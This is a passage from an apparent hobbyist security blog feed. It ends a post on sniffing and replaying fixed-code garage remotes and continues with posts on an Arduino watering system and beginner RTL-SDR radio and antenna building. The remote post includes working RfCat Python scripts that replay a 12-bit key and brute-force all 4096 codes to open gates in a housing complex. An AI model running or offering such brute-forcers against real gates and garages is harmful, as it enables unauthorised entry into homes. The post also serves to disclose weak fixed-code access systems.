        d.<span style="color: black;">setMdmSyncMode</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
        d.<span style="color: black;">setMdmDRate</span><span style="color: black;">&#40;</span>baudRate<span style="color: black;">&#41;</span>
        d.<span style="color: black;">setMaxPower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
dec_key = <span style="color: #ff4500;">1203</span> <span style="color: #808080; font-style: italic;">#key value for my remote, 010010110011</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Decimal key:&quot;</span>,dec_key
bin_key = bin<span style="color: black;">&#40;</span>dec_key<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Binary (NON PWM) key:&quot;</span>,bin_key
bin_str_key = <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>bin_key<span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span>:<span style="color: black;">&#93;</span> <span style="color: #808080; font-style: italic;"># there must be a better way sire.</span>
pwm_str_key = <span style="color: #483d8b;">&quot;0b11100&quot;</span> <span style="color: #808080; font-style: italic;">#added leading 0</span>
<span style="color: #ff7700;font-weight:bold;">for</span> k <span style="color: #ff7700;font-weight:bold;">in</span> bin_str_key:
        x = <span style="color: #483d8b;">&quot;*&quot;</span>
        <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>k == <span style="color: #483d8b;">&quot;0&quot;</span><span style="color: black;">&#41;</span>:
                x = <span style="color: #483d8b;">&quot;11100&quot;</span> <span style="color: #808080; font-style: italic;">#  A zero is encoded as a longer high pulse (high-high-low)</span>
        <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>k == <span style="color: #483d8b;">&quot;1&quot;</span><span style="color: black;">&#41;</span>:
                x = <span style="color: #483d8b;">&quot;11000&quot;</span> <span style="color: #808080; font-style: italic;"># and a one is encoded as a shorter high pulse (high-low-low).</span>
        pwm_str_key = pwm_str_key + x
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Binary (PWM) key:&quot;</span>,pwm_str_key
dec_pwm_key = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>pwm_str_key,<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Decimal (PWN) key:&quot;</span>,dec_pwm_key
key_packed = pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&amp;gt;Q&quot;</span>,dec_pwm_key<span style="color: black;">&#41;</span>
key_packed = <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF'</span> + key_packed + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF'</span>
keyLen = <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>key_packed<span style="color: black;">&#41;</span>
&nbsp;
ConfigureD<span style="color: black;">&#40;</span>d<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;TX'ing key...&quot;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">25</span><span style="color: black;">&#41;</span>:
	d.<span style="color: black;">RFxmit</span><span style="color: black;">&#40;</span>key_packed<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Done.&quot;</span></pre></div></div>

<p>The initial kick of opening my garage door eventually subsided and naturally it progressed to being able to open every garage door in the complex. With there being a 12 bit key, the keyspace was only 2^12, 4096 keys.. this didn&#8217;t seem particularly large. So I wrote a simple brute forcer for the 12 bit keyspace that my remotes run on at 403.55ish Mhz:</p>
<p>&nbsp;</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span>
<span style="color: #ff7700;font-weight:bold;">import</span> bitstring
<span style="color: #ff7700;font-weight:bold;">from</span> rflib <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">struct</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
d = RfCat<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
keyLen = <span style="color: #ff4500;">0</span>
fixedLen = <span style="color: #ff4500;">13</span>
baudRate = <span style="color: #ff4500;">4800</span>
&nbsp;
codes = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> ConfigureD<span style="color: black;">&#40;</span>d<span style="color: black;">&#41;</span>:
	d.<span style="color: black;">setMdmModulation</span><span style="color: black;">&#40;</span>MOD_ASK_OOK<span style="color: black;">&#41;</span>
	d.<span style="color: black;">setFreq</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">403493000</span><span style="color: black;">&#41;</span>
	d.<span style="color: black;">makePktFLEN</span><span style="color: black;">&#40;</span>fixedLen<span style="color: black;">&#41;</span>
	d.<span style="color: black;">setMdmSyncMode</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
	d.<span style="color: black;">setMdmDRate</span><span style="color: black;">&#40;</span>baudRate<span style="color: black;">&#41;</span>
	d.<span style="color: black;">setMaxPower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Generating keys...&quot;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> dec_key <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">4096</span><span style="color: black;">&#41;</span>:
	<span style="color: #808080; font-style: italic;">#print &quot;Decimal key:&quot;,dec_key</span>
	bin_key = bin<span style="color: black;">&#40;</span>dec_key<span style="color: black;">&#41;</span>
	<span style="color: #808080; font-style: italic;">#print &quot;Binary (NON PWM) key:&quot;,bin_key</span>
	bin_str_key = <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>bin_key<span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span>:<span style="color: black;">&#93;</span> <span style="color: #808080; font-style: italic;"># there must be a better way sire.</span>
	pwm_str_key = <span style="color: #483d8b;">&quot;11100&quot;</span> <span style="color: #808080; font-style: italic;">#added leading 0</span>
	<span style="color: #ff7700;font-weight:bold;">for</span> k <span style="color: #ff7700;font-weight:bold;">in</span> bin_str_key:
		x = <span style="color: #483d8b;">&quot;*&quot;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>k == <span style="color: #483d8b;">&quot;0&quot;</span><span style="color: black;">&#41;</span>:
			x = <span style="color: #483d8b;">&quot;11100&quot;</span> <span style="color: #808080; font-style: italic;">#  A zero is encoded as a longer high pulse (high-high-low)</span>
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>k == <span style="color: #483d8b;">&quot;1&quot;</span><span style="color: black;">&#41;</span>:
			x = <span style="color: #483d8b;">&quot;11000&quot;</span> <span style="color: #808080; font-style: italic;"># and a one is encoded as a shorter high pulse (high-low-low).</span>
		pwm_str_key = pwm_str_key + x
	<span style="color: #808080; font-style: italic;">#print &quot;Binary (PWM) key:&quot;,pwm_str_key</span>
	<span style="color: #808080; font-style: italic;">#pad it</span>
	<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>pwm_str_key<span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> <span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span>:
		pwm_str_key = <span style="color: #483d8b;">&quot;0&quot;</span> + pwm_str_key
	dec_pwm_key = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>pwm_str_key,<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
	<span style="color: #808080; font-style: italic;">#encode it</span>
	key_packed = bitstring.<span style="color: black;">BitArray</span><span style="color: black;">&#40;</span>bin<span style="color: black;">&#40;</span>dec_pwm_key<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>.<span style="color: black;">tobytes</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	key_packed = <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF'</span> + key_packed + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF'</span>
	keyLen = <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>key_packed<span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>keyLen <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span> fixedLen<span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">for</span> p <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: black;">&#40;</span>fixedLen - keyLen<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
			key_packed = <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>FF'</span> + key_packed
	keyLen = <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>key_packed<span style="color: black;">&#41;</span>
	<span style="color: #808080; font-style: italic;">#print &quot;Key len:&quot;,keyLen</span>
	<span style="color: #808080; font-style: italic;">#print &quot;Key&quot;, key_packed.encode('hex')</span>
	codes.<span style="color: black;">append</span><span style="color: black;">&#40;</span>key_packed<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Done.&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;numKeys:&quot;</span>, <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>codes<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Configuring device..&quot;</span>
ConfigureD<span style="color: black;">&#40;</span>d<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Done.&quot;</span>
numKeysDone = <span style="color: #ff4500;">0</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;TX'ing Keys&quot;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> key <span style="color: #ff7700;font-weight:bold;">in</span> codes:
	numKeysDone = numKeysDone + <span style="color: #ff4500;">1</span>
	<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">25</span><span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">try</span>:
			d.<span style="color: black;">RFxmit</span><span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">Exception</span>, e:
			<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Lost comms to USB device (most likely).. waiting 1 second, restarting it and going on&quot;</span>
			<span style="color: #dc143c;">time</span>.<span style="color: black;">sleep</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
			ConfigureD<span style="color: black;">&#40;</span>d<span style="color: black;">&#41;</span>
			<span style="color: #ff7700;font-weight:bold;">continue</span>
	<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>numKeysDone<span style="color: #66cc66;">*</span><span style="color: #ff4500;">25</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> <span style="color: #ff4500;">100</span> == <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Sent &quot;</span>,numKeysDone<span style="color: #66cc66;">*</span><span style="color: #ff4500;">25</span>, <span style="color: #483d8b;">&quot; keys (&quot;</span>, numKeysDone , <span style="color: #483d8b;">&quot; keys ) of &quot;</span> , <span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>codes<span style="color: black;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">25</span><span style="color: black;">&#41;</span> , <span style="color: #483d8b;">&quot; (at 25 requests per code) &quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Completed.&quot;</span></pre></div></div>

<p>The problem however is that it takes about 16 minutes to get through everything, I am sure there are some massive improvements can be made, but I am prepared to wait 16 minutes in any case. Some of the things I did notice however:</p>
<p>* Any sort of d.&lt;x&gt; slows down the whole stream quite a lot which is why i pad to a fixed length rather than change it for every key<br />
* Pregenning the keys seemed to buy me a bit of time<br />
* Occasionally I lose USB comms to the device, It usually comes back up, so I just wrapped that in a try-catch</p>
<h2>Conclusion</h2>
<p>It appears to me that a lot of gates and garages that serve as primary means of entry to buildings/homes in South Africa are running on fixed key systems rather than rolling codes. These keys can be trivially sniffed out of the air and replayed to gain access. On top of that fixed key systems using small key spaces can be brute forced, and all of this with a ~R560 investment ($70) &#8212; For the RTLSDR and the CC1111EMK.</p>
<h2>Where To from here?</h2>
<p>It would be really nice to have an application (most likely python script) to automatically decode the OOK/PWM either from within one of the SDR applications (HDSDR or SDR#) or from a recorded .wav file.</p>
<p>Obviously looking at other RF devices, such as Alarm Systems, Rolling Code systems, TV, Cell Phones, GPS, etc that play within this space.</p>
<p><strong>Lastly:</strong> thanks to everyone who tolerated the incessant amount of noobness that came rolling out of me &#8212; I appreciate all the help.</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Arduino Watering System: Update</title>
		<link>http://andrewmohawk.com/2012/07/17/arduino-watering-system-update/</link>
		<comments>http://andrewmohawk.com/2012/07/17/arduino-watering-system-update/#comments</comments>
		<pubDate>Tue, 17 Jul 2012 01:39:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[Automatic]]></category>
		<category><![CDATA[Plants]]></category>
		<category><![CDATA[Soil Moisture]]></category>
		<category><![CDATA[Water Pump]]></category>
		<category><![CDATA[Watering]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=558</guid>
		<description><![CDATA[This is just an update on the Arduino watering system, everything seems to be going well whilst I am away (I am away for ~a month, till the end of Blackhat / Defcon). In winter the plants don&#8217;t require nearly as much water and it seems that after 8 days the water level has dropped [...]]]></description>
				<content:encoded><![CDATA[<p>This is just an update on the Arduino watering system, everything seems to be going well whilst I am away (I am away for ~a month, till the end of Blackhat / Defcon). In winter the plants don&#8217;t require nearly as much water and it seems that after 8 days the water level has dropped only 11.5cm in a reservoir ( read orange bucket ) that is about 60cm across.  The orange container is smaller at the bottom, probably around 45cm so an guestimated average of say 50cm for the diameter.</p>
<p>At this stage I was going to do the math to work out how much water had be consumed minus that of evaporation, but I&#8217;m too lazy right now.</p>
<p>At this rate that container should keep the 4 plants near it (tomato, chilli, orange, peppers) as well as the palm and the 2 trays as well as the random flower going for about 6 weeks!<strong></strong></p>
<p>&nbsp;</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/IMG00157-20120715-1200.jpg"><img class="alignnone size-thumbnail wp-image-559" title="Pot Plants and Reservoir " src="http://andrewmohawk.com/wp-content/uploads/2012/07/IMG00157-20120715-1200-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/IMG00156-20120715-1200.jpg"><img class="alignnone size-thumbnail wp-image-560" title="Water Reservoir " src="http://andrewmohawk.com/wp-content/uploads/2012/07/IMG00156-20120715-1200-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>Having a look at the stats everything seems pretty stable with the 4 plants :)<br />
<a href="http://andrewmohawk.com/wp-content/uploads/2012/07/moistureLevels.png"><img class="alignnone size-medium wp-image-561" title="Moisture Levels" src="http://andrewmohawk.com/wp-content/uploads/2012/07/moistureLevels-300x148.png" alt="" width="300" height="148" /></a></p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/07/17/arduino-watering-system-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RTLSDR: My First SDR!</title>
		<link>http://andrewmohawk.com/2012/07/15/rtlsdr-my-first-sdr/</link>
		<comments>http://andrewmohawk.com/2012/07/15/rtlsdr-my-first-sdr/#comments</comments>
		<pubDate>Sun, 15 Jul 2012 01:37:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[RTLSDR]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[HDSR]]></category>
		<category><![CDATA[Software defined Radio]]></category>
		<category><![CDATA[Walkie Talkies]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=533</guid>
		<description><![CDATA[A few weeks ago (I&#8217;ve been meaning to do this post for ages, few weeks ago is give or take 2 months) there was a post on reddit regarding a new software defined radio that cost around $20. After reading a few topics on the discussion (now all avail at http://www.reddit.com/r/RTLSDR now http://rtlsdr.reddit.com) my interest [...]]]></description>
				<content:encoded><![CDATA[<p>A few weeks ago (I&#8217;ve been meaning to do this post for ages, few weeks ago is give or take 2 months) there was a post on reddit regarding a new software defined radio that cost around $20. After reading a few topics on the discussion (now all avail at <a href="http://www.reddit.com/r/RTLSDR" target="_blank">http://www.reddit.com/r/RTLSDR</a> now <a href="http://rtlsdr.reddit.com" target="_blank">http://rtlsdr.reddit.com</a>) my interest was peaked. RF was a whole new world of WTF for me. I think it offers the same awe and wonder that I had putting a tape into my very first tape into my vomit brown fischer-price tape player:</p>
<p><img class="alignnone" src="http://www.sandiegoserenade.com/images/fisherprice.JPG" alt="" width="293" height="315" /></p>
<p>The basic gist of how it all works is as follows:</p>
<p>* There is a common chip found in video cards known as an RTL2832U<br />
* This chip is commonly used for specific frequencies used for Television signals (and then software decodes this so you could watch TV on your pc)<br />
* A bunch of cool guys &#8482; found a way to read the data coming into the card directly with drivers<br />
* These cards also offered some tuners that allowed tuning beyond the basic TV ranges</p>
<p>So there are 2 basic sections:<br />
* RTL2832U chips &#8211; reading data<br />
* Tuner (E4K,other) &#8211; allows changing frequencies to various ranges</p>
<p>With such I started hunting around in Centurion for a Video card that had these options, after phoning a few places (read 5/6) I eventually found a TV card known as a Compro VisionMate U650F. It costs around R250 from pcpalace in centurion which offers a RTL2832U as well as the E4K tuner (the best one at this stage). <strong>*update* </strong>the cheaper visionmates (without remote) go for about R100 less than this!</p>
<p>This meant:</p>
<p>* I can tune to frequencies from around 55MHz to 1800Mhz<br />
* For R250!</p>
<p>This was super, ordered my card and a few days later it arrived!</p>
<p>Following some _really_ easy guides for installing a few tools in windows:<br />
* HDSDR, WRPlus, ExtIO, zadig ( <a href="http://spench.net/" target="_blank">http://spench.net/</a> has all the info but at time of writing was having some issues, try one of these:<a href="http://rtlsdr.org/" target="_blank"> http://rtlsdr.org/</a> <a href="http://rtlsdr.reddit.com" target="_blank">http://rtlsdr.reddit.com</a>)</p>
<p>And on linux:<br />
* GnuRadio (install guide: <a href="http://gnuradio.org/redmine/projects/gnuradio/wiki/InstallingGR">http://gnuradio.org/redmine/projects/gnuradio/wiki/InstallingGR</a>)<br />
* gr-osmodr<br />
* rtl-sdr</p>
<p>Off the bat I loaded up HDSDR (after all the config and setup &#8211; zadig for drivers, extIO copied) and immediately got that sinking feeling of &#8216;I know absolutely nothing&#8217;:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/HDSDR.png"><img class="alignnone size-medium wp-image-534" title="HDSDR" src="http://andrewmohawk.com/wp-content/uploads/2012/07/HDSDR-300x162.png" alt="" width="300" height="162" /></a></p>
<p><span id="more-533"></span></p>
<p>After a few hours of playing around it become pretty easy to see a few things:<br />
* LO was the tuning band (100MHz on either side)<br />
* Tuner tuned into the specific frequency<br />
* The various options for demodulating the audio with AM/FM(NFM)/CW</p>
<p>So I started with the basics, I figured I&#8217;d try listen to some radio, so I tuned to my HDSDR to 90.5 and immediately noticed that setting &#8216;FM&#8217; demodulation was far too narrow for what i saw:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/HDSDR-NFM.png"><img class="alignnone size-medium wp-image-535" title="HDSDR-NFM" src="http://andrewmohawk.com/wp-content/uploads/2012/07/HDSDR-NFM-300x162.png" alt="" width="300" height="162" /></a></p>
<p>After doing a bit of research as to why my audio was coming out very &#8216;choppy&#8217; it turns out that FM has many different modes and can be modulated on NFM (narrow fm &#8211; default in HDSDR), WFM (wideband) and custom bandwidths. Seriously, had no idea on this, I thought FM was FM! So it turns out WFM (wideband FM) is what we use for normal radio stations.</p>
<p>I switched to WRPlus and tuned to the frequency again and found that not only could I listen, but I could also receive RDS. Level 1 was unlocked:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/WRPlus_WithRDS.png"><img class="alignnone size-medium wp-image-537" title="WRPlus_WithRDS" src="http://andrewmohawk.com/wp-content/uploads/2012/07/WRPlus_WithRDS-300x194.png" alt="" width="300" height="194" /></a></p>
<p>Next up was asking around to see what I could listen to in audio, various people in the IRC channel suggested I listen to either the &#8216;airband&#8217; (air traffic control channels) or see if there were HAM channels running nearby.</p>
<p>I started using, as my mom often likes to say, &#8220;the google&#8221; and found that there were a few places that offered a listing of what was available near me, including Waterkloof airbase, OR Tambo and other &#8212; <a href="http://www.bi-comm.com/documents/Frequencies.htm">http://www.bi-comm.com/documents/Frequencies.htm</a>. I tried to tune to these and set the modulation to AM. After a few hours of giving up on OR Tambo I tuned to Waterkloof airbase (about 5km away from me) and even with the default antenna that shipped with my card I could occasionally pick up the traffic (hear planes clearing with ground control etc). Level 2 was suddenly available, I was merely missing a few coins for the level up &#8211; these coins came in the form of an antenna.</p>
<p>After being in the IRC channel and understanding how far out of my depth I really was, I identified that the missing element to me being able to listen to &#8216;the coolness&#8217; was an antenna. I spoke to some people on IRC including one chap from &#8216;the Australia&#8217; known as Roklobster who gave a full description of <a href="http://helix.air.net.au/index.php/d-i-y-discone-for-rtlsdr/">how to build what is known as a discone antenna</a>. I evaluated this, and even bought the requirements (&lt; R200), but unfortunately soldering gavlanised steel with my soldering-101 soldering iron was impossible (the burns on my hands can testify for this). I again reverted back to &#8220;the google&#8221; to try and find an antenna I could buy that would be &#8216;totes amazeballs&#8217;. However I quickly found that antennas were pricey! The card can do 50mhz-1800mhz roughly, and the basic antennas i found could do say 137-146 Mhz and cost around R800. If that worked per frequency this was looking far too costly! Back to level 1.5 (I just cant get past this boss!)</p>
<p>I started asking around and found that there were some _really_ basic antenna that could be built from nothing more than PVC tubing as a base and some Co-ax! I gathered my team (namely i dragged Roelof to Builders warehouse with me) and bought a bit of Co-ax (At &lt; R1/m its almost free like beer) and started building my &#8216;antenna&#8217;. Up-Down-Down-UpperPunch-LowerKick-F-A-T-A-L-I-T-Y</p>
<p>I built what is known as a quaterplane groundplane antenna. The basic gist of it is that you have a piece of metal that is of a specific length ( 1/4 of the wavelength that you need to tune to), and 3 or 4 pieces that extend below it to be the &#8216;ground&#8217;, this is then hoisted in a non conductive environment (some people hang em, others just attach em to PVC pipe &#8211; like I did). The basic formula is 300 (speed of light ~ roughly) / &lt;frequency in MHz) * 0.25 (or div 4.. &#8216;whatevs.&#8217;) gives you the length in meters. So one of the stations I wanted to listen to was the airbands at around 122Mhz. The formula become (300/122) * 0.25 = 0.6 meters.</p>
<p>The basic idea is:<br />
* Remove outer insulation and shielding (apart from right at the bottom)<br />
* Exposed length of inner insulation and core is the size you want (see above)<br />
* Then solder/attach various radials of the same length to the inner shielding (not insulation)<br />
* Point radials down at ~45 degrees and spaced 120degrees apart (depending on how many you have)</p>
<p>In Ascii Thats:</p>
<p>|<br />
|<br />
|<br />
//|\\<br />
~~~~~~~~~~~~~~~~~~~~~~~~~ (card)</p>
<p>In pictures, it ends up like this:<br />
<a href="http://andrewmohawk.com/wp-content/uploads/2012/07/Finished_seperated.jpg"></a></p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/Finished_seperated.jpg"><img class="alignnone size-medium wp-image-543" title="Finished_seperated" src="http://andrewmohawk.com/wp-content/uploads/2012/07/Finished_seperated-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/finished_inside.jpg"><img class="alignnone size-medium wp-image-542" title="finished_inside" src="http://andrewmohawk.com/wp-content/uploads/2012/07/finished_inside-300x225.jpg" alt="" width="300" height="225" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/groundplane_outside.jpg"></a></p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/groundplane_outside.jpg"><img class="alignnone size-medium wp-image-544" title="groundplane_outside" src="http://andrewmohawk.com/wp-content/uploads/2012/07/groundplane_outside-225x300.jpg" alt="" width="225" height="300" /></a></p>
<p>Basically then you hook up an F-connector (avail at almost anywhere &#8211; builders warehouse, spar, chamberlains, etc) from the antenna center piece (Its all co-ax) to the RTL-SDR device. Additionally to do that you need to get a IEC (thats the standard TV antenna connector) to an F-connector cable &#8211; luckily these are everywhere and cost ~R20.</p>
<p>I changed my design slightly and got a PVC tube cap and drilled a hole in it to hold an F-connector join so that I could have one cable going to the PC and at the top of the PVC (where i&#8217;d normally keep the antenna anyway) I had another F-connector to join the antenna to, I wont go into detail but these pictures should make it pretty self explanatory:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/Antenna.jpg"><img class="alignnone size-thumbnail wp-image-538" title="Antenna" src="http://andrewmohawk.com/wp-content/uploads/2012/07/Antenna-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/Antenna_only.jpg"><img class="alignnone size-thumbnail wp-image-539" title="Antenna_only" src="http://andrewmohawk.com/wp-content/uploads/2012/07/Antenna_only-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/Antenna_only_closeup.jpg"><img class="alignnone size-thumbnail wp-image-540" title="Antenna_only_closeup" src="http://andrewmohawk.com/wp-content/uploads/2012/07/Antenna_only_closeup-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/PVCTOP.jpg"><img class="alignnone size-thumbnail wp-image-545" title="PVCTOP" src="http://andrewmohawk.com/wp-content/uploads/2012/07/PVCTOP-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/PVCTOP_underneath.jpg"><img class="alignnone size-thumbnail wp-image-548" title="PVCTOP_underneath" src="http://andrewmohawk.com/wp-content/uploads/2012/07/PVCTOP_underneath-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/PVCTOP_side.jpg"><img class="alignnone size-thumbnail wp-image-547" title="PVCTOP_side" src="http://andrewmohawk.com/wp-content/uploads/2012/07/PVCTOP_side-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/PVCTOP_conntected.jpg"><img class="alignnone size-thumbnail wp-image-546" title="PVCTOP_conntected" src="http://andrewmohawk.com/wp-content/uploads/2012/07/PVCTOP_conntected-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/Finished_seperated.jpg"><img class="alignnone size-thumbnail wp-image-543" title="Finished_seperated" src="http://andrewmohawk.com/wp-content/uploads/2012/07/Finished_seperated-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2012/07/finished_inside.jpg"><img class="alignnone size-thumbnail wp-image-542" title="finished_inside" src="http://andrewmohawk.com/wp-content/uploads/2012/07/finished_inside-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>After that I fired up my HDSDR and wow was there a *ton* of signals near me. Using the guide found earlier I could quickly listen to the Amplitude modulated (AM) transmissions from Airports near me, or the hundreds (okay maybe not hundreds, but atleast 20) frequency modulated 2-way-comms (commonly used for security guards on the ground, towtruck operaters, random people with 2-way-radios).</p>
<p>Here are a few that I have picked out with the wavs that I could easily identify:</p>
<p><strong>Airband Example:</strong><br />
Basic Plane-to-Tower comms:<br />
